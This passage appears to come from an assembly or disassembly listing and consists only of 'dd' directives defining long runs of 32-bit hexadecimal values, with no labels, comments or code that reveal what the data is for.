		dd 0F26EF351h, 3EEC5A08h, 958BD1B0h, 55159D25h,	0B180B337h
		dd 0DFA11173h, 0CB0A05F7h, 4E881D6h, 8052B73Bh,	63BA2BD7h
		dd 29954E03h
		dd 2FDE8BE5h, 56769DCAh, 0A58DB9BCh, 0A1375707h, 74666B80h
		dd 728B50E7h, 3181BC2h,	49C708C1h, 5819172Ch, 72FCBF1Ch
		dd 80661549h, 71BD8364h, 0FB59B52Eh, 42507411h,	2AB38802h
		dd 10DB86Eh, 8D90EB80h,	5E4D6AC4h, 0BCA7FDE8h, 4A779026h
		dd 0A340EFFFh, 8E456AE4h, 0D150003Eh, 7631F31Bh, 800734C4h
		dd 0FF5FE1E3h, 8010B739h, 0E27CC865h, 0BC0208EFh, 0D3BB668Ah
		dd 61818283h, 402180Ah,	45C3AC84h, 0A523422Dh, 441F9AA8h
		dd 99FE0C01h, 199D1531h, 0F39F130Ch, 2704B558h,	16D18D89h
		dd 5964290Fh, 0D7600B19h, 0C0008937h, 9509EBCEh, 9E3241EDh
		dd 0DCED88E8h, 575E2F8Ah, 74E33ADCh, 2C80B5BBh,	8BF3E4BFh
		dd 0E12D80FBh, 0DC57DE04h, 12D68C39h, 110084Eh,	6251083h
		dd 0A4C90A14h, 14A10h, 83DF8166h, 2D858BA0h, 2C7E02B1h
		dd 0FC595AF4h, 0B2B2059h, 1BCD8533h, 27503DFDh,	0A17544DDh
		dd 0F26B50E9h, 708000B4h, 93A498BFh, 14BFE07h, 60525042h
		dd 23310F61h, 0C3D3007Bh, 58F6DFDAh, 356780Ah, 3B590111h
		dd 0EAD55A5Fh, 0E66F18CDh, 9368A0F0h, 0FD10008Bh, 881287F4h
		dd 0BF1A66B8h, 8052BA60h, 68C9A510h, 7589169Ch,	0BD663029h
		dd 1800A81Dh, 0EEA232E5h, 870840h, 0B6894126h, 63243481h
		dd 296A8A16h, 23F82FBAh, 0AFEB0016h, 999D8B22h,	79A45D9Fh
		dd 0EECCD519h, 7F80259Bh, 9451354Dh, 0CC96BC39h, 0F185000Dh
		dd 5705EBB3h, 331044E9h, 0ECE5CA00h, 51870922h,	497F00D6h
		dd 5B5DFFF3h, 0E9245F04h, 238B447Ah, 2757099Dh,	51DD85DAh
		dd 7C6DC4E2h, 0B5F60Ah,	0E21701A7h, 0E4777048h,	0D185B0C3h
		dd 0C73C380Bh, 81808648h, 0C43240CFh, 0B58B190Dh, 0B06754EDh
		dd 50F30CA0h, 61B2BC06h, 1D08E9h, 53B5FD83h, 5CF494A9h
		dd 5195890Ah, 41096429h, 8114A133h, 89D009D3h, 49949006h
		dd 0BC52B6E9h, 526AEE96h, 0E591AA4Fh, 3D655233h, 12DBFE20h
		dd 0BA044689h, 0A6CC87DAh, 254041A6h, 0ABB71250h, 604A0389h
		dd 680A61F8h, 0D6B5FFFAh, 0F9850345h, 796838C0h, 0A674127Fh
		dd 86AF0181h, 4059AA84h, 0B38AD784h, 0B5204B90h, 218D4805h
		dd 1C50F9C7h, 648812B0h, 0E6A001Fh, 3A656327h, 0B2003BAFh
		dd 56055AD6h, 0C42ADA44h, 865FD88Eh, 0EDA20AFEh, 0B75FECABh
		dd 46912A6h, 8E0DC92Bh,	0AC23599Bh, 0D71F1207h,	3030056h
		dd 610B8D66h, 709CFBBFh, 0EA055EF4h, 890F9416h,	168B23C8h
		dd 3685C7DFh, 60021985h, 0F63B4B8h, 0F5D98B5Fh,	0B3F1CF81h
		dd 8A1D08EBh, 1AA1C460h, 0F1C682h, 4793E45Fh, 0B6C70962h
		dd 2480290Ah, 0B7001BE9h, 0C3050F6h, 9844E011h,	0E8C11EB0h
		dd 0A20EB610h, 3254C7Eh, 0E7AB2158h, 36BB36EBh,	3D8764C0h
		dd 501BC6C2h, 21286829h, 13581918h, 1B57A101h, 0C05E9020h
		dd 0ABB80AE9h, 0AD77CF0Eh, 0F4D40022h, 1380B31Ch, 0B31E6F7h
		dd 439C092Bh, 85928522h, 0BD7DBFB8h, 0CCD023F3h, 0A9230032h
		dd 0BBCA21C4h, 0E1B89C3Ch, 2077F0B7h, 0CDA22C45h, 0D2FC3B0Fh
		dd 9630412h, 1C233E1Ch,	628B5500h, 16C534E5h, 0FAFD125Ah
		dd 3CD54520h, 89140096h, 9EFE0E23h, 0F326016Bh,	0E511BEB7h
		dd 0C75B5607h, 0EF1FDE06h, 46742C5Ch, 0F6E20215h, 4989BD23h
		dd 0B07F96CAh, 5089D9A8h, 0E800D133h, 71AA30D6h, 3E2FAF77h
		dd 0DC8C7C96h, 4D16F501h, 0CC11A4E6h, 6573AF59h, 11166B48h
		dd 0BDB62117h, 27B76F08h, 0E1CC1A0h, 52A015Ch, 30D0F381h
		dd 5D60A762h, 0BD847659h, 8818140Dh, 618110DDh,	0FBB93260h
		dd 4AC0FD5Eh, 0E4EFAF4h, 7E99030Ch, 40196221h, 86348932h
		dd 0C50131C4h, 615ED1B9h, 0BAD70339h, 0B300006Ah, 0A63F3CCCh
		dd 7E1456FFh, 22B8F840h, 0C9FB8303h, 0A36EC283h, 0D24400CAh
		dd 2CE3EA4Dh, 0BE8004Eh, 0AB559846h, 9016B89Fh,	0AB057393h
		dd 73812050h, 0C10407C1h, 4C65D44h, 1A25E5C7h, 0AEB87008h
		dd 6A503EA7h, 4D9D1229h, 31BA2920h, 0E5223143h,	412D0824h
		dd 0C202212Ch, 87FB61A5h, 1BB517Ah, 0B49AA677h,	0DCDCF42Dh
		dd 0AC68B200h, 148EBBECh, 20ADB861h, 91861025h,	3BDB7B00h
		dd 0FC4FC81Eh, 97AD016Ah, 2DB35EAFh, 0E193F014h, 14683253h
		dd 9745D9Dh, 6802C195h,	961B51ACh, 275D9FC5h, 0EC8FCED7h
		dd 7904508Ch, 0C5A712BFh, 8D600A50h, 32B8840Ch,	21A21Bh
		dd 0A192C12Eh, 76C58E9Ah, 25CE001Ch, 0D7D8409Eh, 95AA61D9h
		dd 1FA1E22Bh, 4A1B0D9Dh, 318958C8h, 759BADAh, 0C038AC2Eh
		dd 0FDFC786Ch, 184D0E88h, 0DBA0AB50h, 0F35C0CF6h, 2BBDA014h
		dd 699B9326h, 972DBC80h, 0DBFC612Fh, 14E3921Bh,	7D09DABAh
		dd 80C14056h, 0A841DBE7h, 20229A9h, 0F9495904h,	133DEA02h
		dd 78C35355h, 0AD048715h, 0CE3528B2h, 40B54BA0h, 0C65BF505h
		dd 20E853BDh, 847F2379h, 7ED3DF05h, 4EC229A0h, 1C43FFC1h
		dd 0BB002D70h, 34528444h, 71F399E9h, 0C78003FFh, 89C18B37h
		dd 0D41B902Fh, 0A090E40Fh, 0F95C8B11h, 472850F8h, 7EFA175Ch
		dd 10015148h, 5F362E2Dh, 715BDAC2h, 6FAFAF57h, 0A50188Dh
		dd 4D8CB788h, 92E8EAECh, 0C965500Bh, 0F98BDF6Ah, 0F80102B7h
		dd 8DFD4B66h, 26BBB830h, 16253D05h, 167F17C6h, 0E9E7047Dh
		dd 72B70D30h, 0BB6DF5C2h, 928BA5C0h, 0E8A15BB3h, 95B95F3Dh
		dd 8E9960B9h, 24A8595Fh, 1B8DF8C7h, 311A20F5h, 891EF985h
		dd 195E30D1h, 0CBFE214Eh, 559C25D8h, 0C101673Dh, 2839BD03h
		dd 2D026A01h, 90D6B894h, 8C5A0B73h, 1B021B79h, 544C08F1h
		dd 7A800F24h, 0D0F6BB41h, 5D2134CDh, 9562FC2Ah,	0C555515Fh
		dd 96196205h, 71396EFEh, 6EED8300h, 7F6B9C0Bh, 9D332FF4h
		dd 0AE42315Eh, 7A45FD0Dh, 318CC188h, 7A2B758Eh,	27A1B9F7h
		dd 0FABD3050h, 58139D90h, 587AEB8Fh, 5306CD00h,	93032870h
		dd 0E8BB740Eh, 0B5012A3Eh, 321D0324h, 0BD08497Bh, 5BEF80F4h
		dd 9F70ED77h, 0BE025F57h, 0DFAA06C3h, 0FC5F776Ch, 48D345ACh
		dd 0F04173Ch, 0F6BA1181h, 9AC30089h, 35051338h,	8CFE5019h
		dd 6A5B07D8h, 0FBEB81FFh, 82650585h, 31EAA535h,	0C064EDF7h
		dd 2943945Eh, 2E1D952Ch, 72FAD62h, 0B02F7CE9h, 0F90940BAh
		dd 198970E6h, 0A840573Eh, 975F5597h, 0EB0B795Eh, 1E25DF75h
		dd 66F08DEh, 0CE00DC9Ch, 0BFAF682Bh, 0ED030271h, 0B60F5B11h
		dd 45D760DFh, 9A54952Ch, 0D6801F68h, 0C95BD03Fh, 0FF30E730h
		dd 0EFE39803h, 8034B92Bh, 93255DBFh, 0C82B0219h, 0F1BD0151h
		dd 8B5F3AE8h, 960D13Dh,	0AD0E31B5h, 9434D416h, 39E95061h
		dd 4FC5F833h, 19C24F22h, 3584E4B4h, 0D109121Fh,	0A9EA0207h
		dd 2098E23h, 84D03BF5h,	0E9440B84h, 0E7814055h,	5B59BAC1h
		dd 0D2ABFC2Fh, 0CB86D41Fh, 0B0AC748h, 61A742DBh, 4A5B7798h
		dd 99A0EF03h, 0C0C25CEDh, 1F9884D3h, 2DB4D133h,	22BDA0FEh
		dd 0DE21A11Fh, 3342A5F1h, 0E2EB01FEh, 6BB8A077h, 0A28BB03h
		dd 4AE97AB7h, 4B4C813Dh, 0C4A6040Eh, 8D8DEFE1h,	4491DF71h
		dd 0AAC93A30h, 0FB57B7h, 20191651h, 8B04919Bh, 76EB9DFh
		dd 20E2A9FAh, 24607E2Fh, 899699B5h, 385861F8h, 0D6BED495h
		dd 6BE7E005h, 9BEFFC18h, 2ADC80B9h, 27AE1A96h, 4BD51611h
		dd 0A6AE842Bh, 3E0DB0E0h, 9EC248D5h, 400F8D11h,	0C704812Ah
		dd 3856411Fh, 62D350C0h, 0CF254A39h, 69EF5063h,	627A065Ah
		dd 0A959EF04h, 9426AC62h, 25082146h, 8A002257h,	0AFFE59FAh
		dd 2DCA154h, 0FA70950Fh
		dd 0DD5693D2h, 0C0E79A2Fh, 95285C7Bh, 0FEAFCC15h, 1000D61Eh
		dd 71C8C08Ch, 50882C85h, 9659C502h, 0EE942FE8h,	0A9203645h
		dd 0EEFFA6DEh, 0E83A95FAh, 6063A56Dh, 0F85A0C8Eh, 0AAFEE1FFh
		dd 0B08A764Ah, 0D990A322h, 45C6F825h, 22AD1AA2h, 5F40E3CFh
		dd 900851C1h, 8BEF14FCh, 0F91AC10Fh, 0C7F9F95Bh, 0B0713F46h
		dd 0EA1A0494h, 0DB60279Eh, 0B11FC039h, 25808AB7h, 0BB43EAF3h
		dd 2ABBCBB1h, 57BF9806h, 92494AE8h, 0A12F6575h,	62172741h
		dd 66A5E0Ah, 5B8A8E00h,	23B1F39Bh, 2185BD12h, 89067AA7h
		dd 0C2DF59Dh, 0DED89050h, 4C0928F9h, 78B81F06h,	68127FE5h
		dd 0BBFC5DF8h, 0BF692103h, 0DEF78A05h, 0DB904B1Ch, 926480A2h
		dd 0C385F146h, 68FCB740h, 7C94C6B8h, 0BC987CD8h, 0F842A2EAh
		dd 0C50E0A3Bh, 0D63A7C8Bh, 69ED940Eh, 3A049385h, 131423F1h
		dd 0A65FFE12h, 3030B441h, 276AD361h, 0E110E4FAh, 0ED4B3E55h
		dd 89496CFEh, 0FCE138F3h, 22048C18h, 55E4C9C7h,	46A96C84h
		dd 0D103434Ch, 0EFDCF681h, 0EBC304FAh, 6FFD01AAh, 0F0E247DFh
		dd 0A5B9AC83h, 0BC103131h, 702A24CDh, 78D6BB90h, 4642E125h
		dd 2F87BC7Dh, 0BF7B7ABAh, 1DA3C550h, 26620D8h, 0B68AEB73h
		dd 77696B54h, 0BD60886Dh, 39CA4149h, 8913DB5Bh,	0CC6C5406h
		dd 0B69AEBA5h, 0C0087382h, 7EF88BEAh, 0A3DB800Bh, 93FC9896h
		dd 0F7760722h, 0D950C86Bh, 0E1A5D404h, 57677C2Ch, 0BEC5E011h
		dd 0FD6A04ACh, 5205820Fh, 0DDC79607h, 0E80605EBh, 38FF79A4h
		dd 0E9111F03h, 72990014h, 47C36ED5h, 0C11E00D2h, 0E0B1C2E2h
		dd 0A705E4F3h, 1AB31D96h, 8011BB08h, 22AEEDC3h,	61008283h
		dd 661343C1h, 1680CB6Ch, 1EB8576h, 5F715306h, 0FEB7A88Bh
		dd 0B3929095h, 0D07F00A7h, 0EBBDE01Bh, 0FB121E6Ch, 57E290C9h
		dd 0DD878500h, 0FACA86A4h, 0CF8E4400h, 0DF98E090h, 215B4C24h
		dd 0CFDB713h, 0BBF48B23h, 895568F8h, 31BC2B39h,	1D7D6492h
		dd 80D46904h, 6C407212h, 9995C11Dh, 0F5785610h,	60905F02h
		dd 0F8C0B0B5h, 0B33D5061h, 23ED5EBCh, 3307FAB8h, 0E2ACF63Bh
		dd 13E1BD51h, 0E9FD722Ah, 3B03E890h, 48E3A60Bh,	89643761h
		dd 0EA06B79Dh, 0DDBE69E9h, 0EF9BCD5Ah, 0E6CCC0B8h, 9D03850Dh
		dd 437CBF21h, 0EFFD73A2h, 0DF1660D9h, 5900D852h, 174119Ch
		dd 9629358Dh, 2E0D89BAh, 0A5F151F7h, 80D1B55Dh,	7A4B55B8h
		dd 0B404972Ch, 0FE82A5Eh, 3571D840h, 510540EDh,	0E0B5F879h
		dd 8B8488EFh, 2C959D10h, 51675F25h, 0D4F49C74h,	93804E0Bh
		dd 578E8063h, 122B7EF0h, 9E257DBDh, 694F8238h, 4E72E8h
		dd 80EA18C7h, 4BADD61Fh, 9146B203h, 0BD0DFCA8h,	85BF69C0h
		dd 674A09A9h, 87595F61h, 44942h, 101D9D29h, 36E64A91h
		dd 0BD8DEC27h, 5C40E5D1h, 4D7221h, 0C86E588Ah, 24F8523Fh
		dd 78F784A1h, 5BF5C9D1h, 6EF6AF77h, 7DDB16D4h, 0FBC5754Bh
		dd 0E5B59EC1h, 0BEC057Dh, 0B9772B00h, 0A365C2CEh, 0DD544AB8h
		dd 22B82A8Bh, 799084FCh, 0E08231EAh, 4D605735h,	0BB02CF61h
		dd 0D8FCD15h, 0F52C8F5Eh, 0B2D8CE32h, 0E95B549Dh, 0E1ED4755h
		dd 59FC0154h, 63BD2B93h, 1FE82FADh, 0D402D68Bh,	29010F4Dh
		dd 0B7F751BDh, 926E5969h, 2F45B1F8h, 0C7E8D7ADh, 57912F00h
		dd 2932649Ah, 12415E95h, 2069CD12h, 64151DEh, 0F63F132Ah
		dd 3D30E0EAh, 0D6C701E9h, 220E7F65h, 80096823h,	0B5F692B4h
		dd 5990009Eh, 4B879324h, 0C1128A4Ch, 61B19856h,	90C06F5Bh
		dd 23D44D6Ch, 1B7DAB0Ch, 259D429Fh, 866E2019h, 0D3606E8Dh
		dd 3BA8A69Eh, 7484153Bh, 0ACF92862h, 0BC0CD5A6h, 4D0604CFh
		dd 0E158BC56h, 0BEA92F24h, 4D00E2ACh, 8B9A8DFAh, 950659BDh
		dd 0C16D1ABAh, 0C959CFE0h, 6AE92F16h, 6652E21Bh, 64502E26h
		dd 34A4BB04h, 0F6D3F8ACh, 0B32BA0F4h, 0B5090AB8h, 0CA610749h
		dd 4E10954h, 318FDB5Bh,	7913C88Dh, 5D63A543h, 5D825CB5h
		dd 54929EE7h, 4AF890D3h, 13B7D620h, 424D003Ah, 0EFCE7C54h
		dd 0EA0188A4h, 0C087C210h, 5133F93Dh, 4BC9FC29h, 0E335F5h
		dd 0D2F850EFh, 0BF0E6619h, 920F5E34h, 0BA4907E6h, 0F25DFBCh
		dd 1861C488h, 66A214BBh, 5DA4A8ACh, 66F88A25h, 0D10797F1h
		dd 0B2D26F2Ah, 127D8EF4h, 0C26C9BEFh, 0DE2969F9h, 0DCBF01CDh
		dd 2E6B97CAh, 0E3BB1974h, 0AF5F0BFh, 6FD604C1h,	0B83E3D4Fh
		dd 8DD10FFh, 0BD19C44Ah, 14FB830h, 0DD746484h, 0CE54E783h
		dd 765A185Ch, 0EF4FDCE6h, 0B2BB56C4h, 8D09091Fh, 3B514815h
		dd 5372BFF3h, 3C5ACF04h, 53A9C18Bh, 120117B8h, 53D73278h
		dd 302EE9F3h, 0D98AF95Dh, 96FF8C92h, 0CE44FE96h, 168251BFh
		dd 495D7E36h, 2367E877h, 42BF0EDAh, 0C227685Eh,	200449EFh
		dd 0C3F1EA05h, 0B8A8E92Eh, 0A5D8008Eh, 0D96CBC6Ah, 5C50D0AAh
		dd 0C4751882h, 0E37F5141h, 56E000F5h, 0F41DB1A9h, 7B5E2F67h
		dd 89135B96h, 3FB5E98Dh, 9C7E8100h, 3A6DEFECh, 0C618C9B8h
		dd 355893EDh, 0AFC5BE20h, 260BDF6h, 0D1E365h, 697389C4h
		dd 5FF552D3h, 7DAC029Dh, 5AB9199h, 0FFCD0E10h, 0B345B71Dh
		dd 787A6A93h, 0C07525Ah, 81F7C5AAh, 61CEF302h, 5F6A7FD8h
		dd 0E973045Bh, 0EC5898Ah, 7B70D2FDh, 0AA154B91h, 0FABCE465h
		dd 0D4ED4180h, 0ABE09F03h, 35AD1A97h, 8047816Dh, 30892A92h
		dd 7BCB2E5Ch, 563042D1h, 3E9A51C9h, 360362BFh, 30FF88C1h
		dd 0F9726550h, 0EB006876h, 5C0A3EE8h, 72026691h, 7932BB6Ah
		dd 0C8A0FD56h, 6F7E941Ah, 81E59200h, 0DCD38EEBh, 86AB974Fh
		dd 7AC009EDh, 0FE07E7FCh, 0E27D00DFh, 0D3BB20F0h, 614B4603h
		dd 16C8D09Ah, 6F9157C1h, 0E94D043Bh, 0E3C7B89Ch, 291FEC88h
		dd 767700F4h, 5B0BEBF2h, 0D5BBBA01h, 5F6BD4E3h,	0B9B3752Eh
		dd 0B7F8A8E3h, 0EBDEB49Ah, 0E74DD1C0h, 82AAAA5Bh, 90C290Bh
		dd 81009B5Bh, 1D866BEFh, 9A32970Eh, 15E2967Ch, 0EA5B5D03h
		dd 0A141BB01h, 0A0711FBFh, 92BDA230h, 0DCA4BE7Bh, 9402E270h
		dd 0F195311Dh, 50885C30h, 93D40112h, 0BF2420B1h, 3508D1FBh
		dd 11B01833h, 59631F5h,	129AD88h, 9D0370E6h, 2BB365A5h
		dd 0F7819D01h, 4A2EF2C7h, 8C2BDB9Eh, 0B66F223Dh, 8A4AC87Fh
		dd 8151A890h, 1FA4EEC3h, 4B5B7112h, 6018BADEh, 77D3A1BDh
		dd 71595613h, 5CFA958Ch, 485D499Ah, 961CEDh, 7136BC34h
		dd 6A84952Bh, 264CE53Eh, 670257ABh, 5C4B425Ah, 0D3B630B3h
		dd 2B2CBAA3h, 740009C8h, 8B1AB7F4h, 9D0912D1h, 0F8C0C299h
		dd 0FD4B15DCh, 0F0BBFC98h, 0A615242Ch, 0B691850Ah, 0C2F6539Bh
		dd 0B85B0410h, 8066AB1h, 5657319Ah, 0DBC5BBB0h,	0C3FAFCFCh
		dd 1D37E9DEh, 0EFDF8011h, 0B76246FEh, 44975CF1h, 8D294223h
		dd 942DFCB1h, 0C04A17A5h, 0B87F39Ah, 0AA560D82h, 0AD0424E1h
		dd 1742849Bh, 89FC6003h, 0C5ABF9C2h, 8FDF0743h,	72C2A8B2h
		dd 8A9FB10Fh, 0BAF2DF1Fh, 0F85B5FFBh, 18181651h, 0B67DA330h
		dd 175B64CBh, 7B0792B9h, 0BCBF00BFh, 6E3DFF93h,	0A0841E9Bh
		dd 1A8FC80h, 0B1ABD2DDh, 0E7F67FADh, 0CA78FAB0h, 69BD3308h
		dd 0A6FC171Bh, 0B5E8E076h, 0D53107D0h, 9B8492Bh, 400FEF5Fh
		dd 6FECC0D0h, 0AD690500h, 9D8943D4h, 2B379A61h,	78A8D22Bh
		dd 6400393Ch, 10E098CBh, 9BB3BB8h, 7B6C45C9h, 4FEAD071h
		dd 7F145909h, 8FE6DE4Dh, 12F920BEh, 51E78C97h, 0FF884A0Dh
		dd 320B057Ah, 0EB1B5B79h, 0A1BAD1D8h, 0C60026F8h, 0AB1533FCh
		dd 4A791DFh, 8BA071FDh
		dd 0D201BDCFh, 0C019CFAEh, 0D9E698A1h, 0BFFA921Ch, 295EE7BAh
		dd 0D13217D4h, 0E25F1285h, 9F8CB41Ch, 3773002Fh, 0B20B1408h
		dd 34000A06h, 0F88F75F0h, 9711F780h, 0AB700894h, 0DE47749Dh
		dd 53178E4Dh, 6BBE4B72h, 14B2013Bh, 0FE8B1235h,	23436B2Fh
		dd 0BE251C1Dh, 0FEC97101h, 703280A7h, 0DFBBE1EFh, 1DBFA78h
		dd 181AD098h, 6A971FC7h, 0C56E701h, 9606052h, 973B125h
		dd 0D9ABF595h, 0B888316Eh, 8830470h, 2CD19538h,	0BD8D8902h
		dd 8771292Ah, 0B6347044h, 0BCABA089h, 1DEA025Fh, 41B6AFBFh
		dd 951805Eh, 0B55D63A5h, 252B9FEFh, 87078B44h, 4CB8EB49h
		dd 2D9B60F4h, 0DBD14ECBh, 0DF90F400h, 20A4A2Ch,	5A78EAA0h
		dd 85602BD7h, 1F4A518Dh, 0BFF920EAh, 89977987h,	250078B5h
		dd 0B5E83C07h, 5E95011Ah, 0D0BDEC6h, 125A03A1h,	0D607569Dh
		dd 0D8041746h, 0BACA6770h, 560B0A09h, 3F5C5A4Bh, 0EB9505D4h
		dd 1820BC4h, 907F4F88h,	2861D2B7h, 4FBD3AFBh, 3D75D2B8h
		dd 56AAAF03h, 6BA125B3h, 0C2C44C4Eh, 2900EC76h,	84A7B252h
		dd 2CB1E7Ch, 0BD35411Ah, 0C57C32AEh, 5F2A5A00h,	0ECEEB668h
		dd 97FC904Bh, 0ED49EB01h, 9D128445h, 70AD3105h,	0C324B0D6h
		dd 1F85892Dh, 801B91B8h, 6E20D09Eh, 5CD0E5A0h, 0DDBD250Bh
		dd 0F5E97502h, 8D98144Bh, 0BA9731C9h, 7058FB6Ah, 605A88E2h
		dd 0BA2988h, 5DD7AC01h,	7DB966E3h, 0AA589026h, 0BB61F300h
		dd 4BDECD1Dh, 619CCD24h, 82EC2FE6h, 2F9F894Bh, 95B842ADh
		dd 0C8BCE600h, 8E0F0B2Dh, 0AE1FD30Ch, 8FF173C9h, 0AA14243Eh
		dd 0DA741837h, 0AAA48EBDh, 7B00DC6Ah, 4ACAF671h, 4925E1D8h
		dd 9C91E3BDh, 50C3E4EBh, 9227BAB6h, 0D11C60BAh,	86B04FDCh
		dd 5B4B837Eh, 0EC2A95DDh, 7EE8FCFEh, 25347BC1h,	0EA648AF4h
		dd 3701C707h, 0F3F08656h, 1D7B48h, 0ECBACA46h, 0FDBD2989h
		dd 37680184h, 0B3496577h, 0C8732471h, 0CD7A743Ch, 1368BC1Ah
		dd 9F8769Dh, 3C7AFB42h,	0F482BCh, 1F5B8E18h, 2E510FDBh
		dd 9204EF3Ah, 4EC0889h,	5E09AEA4h, 562384B7h, 502DAAF8h
		dd 60935811h, 55259C2Eh, 70A97B90h, 9A026C27h, 0B05A33EBh
		dd 0DF2E4090h, 706D95F5h, 33601C64h, 0E302B631h, 9EEA1618h
		dd 3246563Fh, 1F416155h, 76792F11h, 99C1FA5Ah, 2EFE8ADEh
		dd 974F2428h, 3F49776h,	0A13DB8A2h, 82E89553h, 4169E934h
		dd 80063723h, 3DE61E9h,	0DC96AB29h, 79ED3409h, 0F513D74Ah
		dd 28A18C04h, 0F0DAB6AEh, 95D0F17h, 4574CCEBh, 0BD4F0F79h
		dd 3B603D27h, 5CD8DF8Eh, 17921867h, 9D23B1D4h, 0FEC22EC1h
		dd 9A11455Bh, 0FEF965B2h, 0EEE0BFE0h, 4A34692Eh, 0CDA56B74h
		dd 601C642Bh, 577068h, 0ACDDFF73h, 3156D913h, 10999D16h
		dd 1DDD62F5h, 0CD4AE32Ch, 0F80E20A3h, 57149897h, 993F4BFh
		dd 505F4F94h, 0F70024F1h, 0AEA1A8Ah, 0FDDFE40h,	0E67B9B63h
		dd 9C412360h, 252535B9h, 9AE97AB3h, 4B45F033h, 507CF61h
		dd 0C59D03F9h, 0B5AD4D74h, 0CF7938B8h, 3186FD00h, 61F781B3h
		dd 3B332AF3h, 9D0E4B81h, 0DD9B2AF0h, 90C1E687h,	0CCFBAFFh
		dd 0F3815300h, 80F6426h, 3164975Fh, 0B1C93A00h,	0F020F2BDh
		dd 1EB33A41h, 10513F10h, 5B122CB9h, 9378AD5Fh, 44C8160Fh
		dd 4EE0C99Dh, 0D67E9C61h, 0D5121546h, 662DF041h, 3DDDBF12h
		dd 0C966F7E1h, 0F52700F7h, 0EA00757Dh, 0D38125FBh, 234CAECh
		dd 862BB0Ch, 0FA5C19CFh, 504CF3EBh, 4A023D03h, 0F55778B1h
		dd 9DB0555Fh, 2142CDBDh, 93FE9C40h, 8D7B82BAh, 0AEF108CEh
		dd 0CD61EAACh, 1C300298h, 35B8A027h, 0F3F2822Bh, 694EA024h
		dd 1F0F37A7h, 0B84D5448h, 4DB3AD14h, 873DA893h,	0B290BBF7h
		dd 4D8C34A6h, 50726DA4h, 3F81538Dh, 5809D2C3h, 0BB715B71h
		dd 0C0294DA5h, 0A357C31h, 799C0100h, 0D0FBB9Dh,	8A1B4B8Bh
		dd 4B6738DDh, 0BB00C27Ah, 0E37482DCh, 0BF4ADB80h, 0A4BB55C4h
		dd 67F862BFh, 74549A00h, 0E496CC4Dh, 8AF80558h,	95B0605h
		dd 0EDFA3186h, 7519BF1Eh, 585A2644h, 0B8BE9B8h,	0AF1A0D84h
		dd 65009DA3h, 2C76697Ch, 55395913h, 8317CA72h, 97C53710h
		dd 0A592E59Bh, 0F9322B57h, 13324131h, 94FD32h, 0E5DF3312h
		dd 0E09E2BD7h, 86228380h, 8B254928h, 11F3C5FAh,	0ADFA7F3Fh
		dd 6625C294h, 0B52927D3h, 0AF56A4EAh, 69357727h, 0A4920284h
		dd 0DD908AFh, 5B85B58Dh, 76B53D2Bh, 41FEA077h, 0A8740F31h
		dd 9E437F89h, 0E9D98B07h, 0B1142E17h, 0E199C026h, 0EDF2B8h
		dd 5EE64707h, 5BC109A4h, 9D442838h, 0B4F18B20h,	600314ADh
		dd 0EECB8088h, 34E90C90h, 7E9765B3h, 125B257Eh,	0CA07D25h
		dd 0E09C52DBh, 0BC963400h, 0F50C918h, 0B5D1BA88h, 6F0BF18h
		dd 0EAFA5800h, 25F42B6Ah, 29F2011Ch, 0E7EDD2A4h, 8CBEE42Eh
		dd 8033B7B5h, 97690F83h, 9978DCBh, 0CF4D7F0Bh, 0FF107DC0h
		dd 36B00190h, 319589CDh, 83020406h, 55ECAC0Fh, 61801BB7h
		dd 0FE594A55h, 0AFFA12B7h, 6EB6E17Bh, 0A400656Eh, 83402F90h
		dd 0A501E898h, 6A167ABBh, 2CD8506Fh, 49662524h,	9047D362h
		dd 0DB621444h, 0AAF6D940h, 5F851097h, 47610410h, 0AE6CC050h
		dd 6E025A7Ah, 0F90E6FAFh, 4325F454h, 0FB4C4A1Fh, 8B01406Bh
		dd 2A5011C0h, 25886042h, 0E89D2C4Bh, 41D50720h,	0E2742B02h
		dd 0B1A873EDh, 75A3100Bh, 91DF8330h, 0D171021Fh, 5BFB8B52h
		dd 4751E45Ch, 6C880A08h, 3DFC97C0h, 63C56AC4h, 1B11217h
		dd 90A6E214h, 9EBE27E0h, 0F02EAB25h, 2235252Dh,	0E9848273h
		dd 91B80E24h, 784219B2h, 70C57375h, 490AD208h, 0CA8F6148h
		dd 2D333508h, 0A2777102h, 0EA6CAB5Ch, 0BEDC150h, 2E12B1BDh
		dd 3C848129h, 0B9219DDBh, 0BC1D9280h, 29040FD0h, 0B922D59Dh
		dd 0F860C380h, 693DF231h, 0FAEE61D6h, 127700BDh, 42C8198h
		dd 710292B1h, 5386AF4Fh, 56725DF0h, 6D690890h, 2530565Bh
		dd 7D72E47Bh, 5F98F8D8h, 94EB8016h, 226D9409h, 0FE830F83h
		dd 5CF969F9h, 5AC9F500h, 0F1570Eh, 0D8A4FF44h, 9C172B6Bh
		dd 0CC58B725h, 6A5545BFh, 0B8B1F420h, 91DD0022h, 0DBF45115h
		dd 18094982h, 704273CCh, 59D10C1h, 70E6032Dh, 0C28529FCh
		dd 0A0BC5C21h, 0A512582h, 207991DDh, 0E9F4232Eh, 0C8B645F4h
		dd 5C65FC09h, 0A966EC50h, 4713A9D3h, 0BFCCC0BFh, 0F72066F8h
		dd 263532E2h, 1854844Bh, 8D296085h, 701B4286h, 2B618885h
		dd 1982C85Ch, 0D15B1081h, 2E556A88h, 0D8C70025h, 0DFC7E961h
		dd 2D2837h, 5157EE23h, 0ED48A5C6h, 3E7FD51Eh, 46E5A14Ch
		dd 5F08408Dh, 0A300A8A6h, 0D6022C57h, 0EA78F6Ah, 50D1B7DBh
		dd 0C37BB9E5h, 2B4A0839h, 3ABC8C4h, 3497A62h, 0B7251270h
		dd 1ACAC963h, 0AFFE4609h, 0BD01D70Bh, 0BA62ACA1h, 0CE408A6Ah
		dd 2EC112BAh, 0FF8D8BD9h, 259F03A8h, 907F1059h,	894E8434h
		dd 5E3F3360h, 0B3D6AA90h, 0AED304A5h, 0B28D89E8h, 0A1032EB8h
		dd 85A58362h, 9D33FE32h, 0F57EF172h, 0F65765C8h, 0A24044Ah
		dd 81A6D57Ah, 421D1CCh,	895E3C1h, 0C309E523h, 27BE692h
		dd 0EC2F1405h, 0CCF00EE6h, 5309946Eh, 0E489101Eh, 0B4FCA341h
		dd 0B6EF4494h, 7099F001h, 0C61104BEh, 0AE0F2F65h, 1A23C56Bh
		dd 63FF1900h, 250FD5FDh, 21D78B2Bh, 0EAEB914h, 8316DE2Fh
		dd 8CD5233Eh, 0A64F30BCh, 4C30E074h, 0FF41B579h, 0B8999CB9h
		dd 6033CF2Dh, 95D35E1h,	0F0A14800h, 8E04BB66h, 7B2EE1BAh
		dd 0B1AE0BA5h, 40E7F814h
